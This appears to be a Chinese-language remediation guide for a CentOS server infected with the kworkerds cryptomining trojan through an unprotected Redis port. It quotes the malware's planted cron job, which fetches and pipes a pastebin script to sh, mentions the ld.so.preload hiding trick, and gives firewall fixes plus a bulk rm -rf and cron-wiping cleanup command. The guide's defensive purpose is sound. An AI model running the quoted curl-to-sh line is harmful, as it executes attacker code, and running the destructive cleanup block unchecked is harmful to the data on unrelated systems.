centos kworkerds木马解决方案
入侵最根本原因:
redis没有设置密码,并且开放任意ip可以通过6379接口登录。
入侵导致的情况:
CPU使用率100% ,但是 top指令 如下:
top - 14:54:32 up 105 days, 21:29, 1 user, load average: 6.97, 6.95, 7.01
Tasks: 98 total, 2 running, 96 sleeping, 0 stopped, 0 zombie
%Cpu(s): 99.8 us, 0.2 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 8010196 total, 170836 free, 4044724 used, 3794636 buff/cache
KiB Swap: 0 total, 0 free, 0 used. 3613484 avail Mem
进程的占用都是很低的,但是 %Cpu(s): 99.8 us
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
27988 root 20 0 2397000 141676 2996 S 1.0 1.8 1016:05 beam.smp
4020 root 20 0 131976 11444 5388 S 0.3 0.1 134:44.25 AliYunDun
5008 root 20 0 3681584 105168 6588 S 0.3 1.3 20:48.23 java
5990 root 20 0 4772176 709264 6796 S 0.3 8.9 10:44.94 java
7426 root 20 0 3526796 571668 6960 S 0.3 7.1 9:46.08 java
19175 root 20 0 3540288 701796 6668 S 0.3 8.8 333:28.61 java
1 root 20 0 43604 3584 2012 S 0.0 0.0 4:06.13 systemd
需要如下处理:
-
运行crontab -l 发现有定时任务在执行
*/30 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh -
执行 vim /etc/ld.so.preload 删除其中内容 并且执行 ldconfig
-
再次执行top 就会发现被隐藏的进程 kworkerds ,kill -9 该进程号即可。
修复方式(阿里云建议):
-
限制redis连接的ip
只允许某些特定的ip访问redis
修改iptables内容
将
-A INPUT -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT
修改为指定ip访问
-A INPUT -s 172.xxx.xxx.xxx -p tcp --dport 6379 -j ACCEPT
注意:
redis.conf 配置 bind 的含义不是要访问的服务器的ip 而是 本机用于别人访问的ip -
运行以下代码来清除所有入侵内容
ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9 echo "" > /etc/cron.d/root echo "" > /etc/cron.d/system echo "" > /var/spool/cron/root echo "" > /var/spool/cron/crontabs/root rm -rf /etc/cron.hourly/oanacron rm -rf /etc/cron.daily/oanacron rm -rf /etc/cron.monthly/oanacron rm -rf /bin/httpdns sed -i '$d' /etc/crontab sed -i '$d' /etc/ld.so.preload rm -rf /usr/local/lib/libntp.so ps aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9 rm -rf /tmp/.tmph rm -rf /bin/kworkerds rm -rf /tmp/kworkerds rm -rf /usr/sbin/kworkerds rm -rf /etc/init.d/kworker chkconfig --del kworker
-
继续删除文件
去tmp目录删除多余文件,同时删除隐藏文件 ls -al
cd /usr/local/lib下 rm -rf libjdk.so